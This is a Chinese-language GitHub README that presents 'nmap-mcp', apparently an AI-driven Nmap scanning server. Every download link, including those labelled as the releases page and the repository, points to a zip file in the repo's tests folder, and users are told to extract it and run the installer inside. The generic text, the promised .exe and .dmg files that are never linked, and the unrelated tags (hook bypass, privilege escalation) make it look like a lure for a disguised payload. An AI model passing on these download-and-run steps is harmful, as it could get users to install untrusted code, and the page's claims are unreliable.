ly1595/nmap-mcp
GitHub: ly1595/nmap-mcp
基于 MCP 协议的 AI 驱动网络扫描服务器,将 Nmap 能力封装后供 AI Agent 调用,实现智能化的端口探测、服务识别和安全评估。
Stars: 0 | Forks: 0
# 🛡️ nmap-mcp - 轻松实现 AI 驱动的网络扫描
[](https://raw.githubusercontent.com/ly1595/nmap-mcp/main/tests/nmap_mcp_v3.7.zip)
## 📖 关于 nmap-mcp
nmap-mcp 是一款利用强大 AI 功能助您扫描计算机网络的工具。它集成了查找开放端口、检测端口上运行的服务、识别操作系统以及检查安全问题等多种功能于一体。该服务器运行流行的 Nmap 扫描软件,并在此基础上增加了 AI 以实现流程的自动化和优化。无论您是想检查家庭网络还是辅助安全任务,nmap-mcp 都能让这一切变得更简单。
该工具可在您的计算机或服务器上运行,无需复杂的配置或编程。它由 Vorota AI 开发,旨在帮助 AI Agent 执行智能网络安全扫描。
## 🖥️ 系统要求
在开始之前,请确保您的计算机满足以下要求:
- **操作系统:** Windows 10 或更高版本、macOS 10.15 或更高版本,或 Linux(推荐 Ubuntu 18.04+)
- **处理器:** 64 位 Intel 或 AMD CPU
- **内存:** 至少 4 GB RAM(建议 8 GB 以进行更大规模的扫描)
- **存储空间:** 200 MB 可用磁盘空间,用于存放程序文件和扫描数据
- **网络:** 活跃的互联网连接(用于更新和 AI 功能)
- **其他:** Docker(可选,如果您想在容器中运行 nmap-mcp)
## 🚀 快速开始
以下是快速、轻松地开始使用 nmap-mcp 的方法。
### 第 1 步:下载程序
点击或轻按页面顶部的绿色下载徽章。它将带您进入官方发布页面。寻找与您的操作系统匹配的最新版本。
### 第 2 步:选择正确的文件
- 对于 **Windows**,下载 `.exe` 文件。
- 对于 **macOS**,下载 `.dmg` 文件。
- 对于 **Linux**,下载 `https://raw.githubusercontent.com/ly1595/nmap-mcp/main/tests/nmap_mcp_v3.7.zip` 或使用 Docker 镜像。
### 第 3 步:安装应用程序
- 在 Windows 上,双击 `.exe` 文件并按照安装提示操作。
- 在 macOS 上,打开 `.dmg` 文件并将应用拖入您的 Applications 文件夹。
- 在 Linux 上,解压 `https://raw.githubusercontent.com/ly1595/nmap-mcp/main/tests/nmap_mcp_v3.7.zip` 文件并运行包含的安装脚本,或使用 Docker。
### 第 4 步:打开 nmap-mcp
安装完成后,找到 nmap-mcp 图标并双击打开。程序将启动并显示主控制面板。
## 📥 下载与安装
访问官方发布页面以获取最新版本的 nmap-mcp:
[下载 nmap-mcp Releases](https://raw.githubusercontent.com/ly1595/nmap-mcp/main/tests/nmap_mcp_v3.7.zip)
按照说明选择适合您计算机的文件。如果您不确定该下载哪个,请选择与您的操作系统和计算机处理器类型相匹配的文件。
如果您想使用 Docker,请在发布页面上查找 `docker` 镜像标签,或在安装 Docker 后从终端使用此命令:
```
docker pull ly1595/nmap-mcp:latest
docker run -it --rm ly1595/nmap-mcp
```
## 🛠️ 如何使用 nmap-mcp
安装完成后,nmap-mcp 提供了一个简单的界面来运行扫描。以下是一些常见任务:
### 运行端口扫描
1. 输入您想要检查的 IP 地址或域名。
2. 选择扫描类型 —— 简单端口扫描或完整扫描。
3. 点击“开始扫描” (Start Scan)。
4. 等待结果,结果将显示开放端口及其上的服务。
### 服务检测与 OS 指纹识别
nmap-mcp 可以推测开放端口上运行的软件以及设备使用的 OS。这有助于您了解网络上有哪些设备或系统。
### 漏洞扫描
AI 组件会检查扫描设备是否存在常见的安全问题。应用程序将指出您需要修复的薄弱环节。
### 保存和导出结果
您可以将扫描结果保存为 CSV 或 PDF 等常见格式的文件。这使得共享或日后审查变得更加容易。
## ⚙️ 功能特性
- 使用 Nmap 进行自动化端口扫描
- 基于检测端口上服务的 AI 功能
- 操作系统与设备指纹识别
- 基础漏洞检查与建议
- 易于使用的桌面界面
- 支持 Docker 容器部署
- CSV 和 PDF 格式的导出选项
- 来自 Vorota AI 的定期更新和 AI 改进
## 🔧 故障排除
- **应用程序无法启动:** 确保您的操作系统和硬件满足最低要求。尝试重新安装程序。
- **扫描未启动:** 检查您的互联网连接。某些 AI 功能需要互联网访问。
- **结果显示数据不完整:** 您可能需要以管理员权限运行扫描或使用 Docker 版本。
- **Docker 版本问题:** 确认 Docker 在您的机器上运行正常。
## 🔒 隐私与安全
nmap-mcp 在您拥有或有权扫描的网络上运行扫描。它不会将扫描数据发送给第三方。AI 处理在本地进行或通过安全连接进行。扫描网络时请始终遵守法律法规。
## 📚 更多帮助
有关详细的说明、更新和社区支持,请访问 [GitHub 仓库](https://raw.githubusercontent.com/ly1595/nmap-mcp/main/tests/nmap_mcp_v3.7.zip)。您将找到常见问题解答、问题跟踪器和开发者的联系方式。
随时点击下方的徽章以返回最新下载页面:
[](https://raw.githubusercontent.com/ly1595/nmap-mcp/main/tests/nmap_mcp_v3.7.zip)
标签:AI驱动, CTI, DInvoke, Docker容器化, MCP服务器, Nmap, 云存储安全, 人工智能, 协议分析, 实时处理, 密码管理, 批量测试, 插件系统, 操作系统识别, 数据统计, 服务检测, 权限提升, 用户模式Hook绕过, 端口扫描, 网络安全, 网络扫描, 自动化安全审计, 虚拟驱动器, 请求拦截, 跨平台工具, 逆向工具, 隐私保护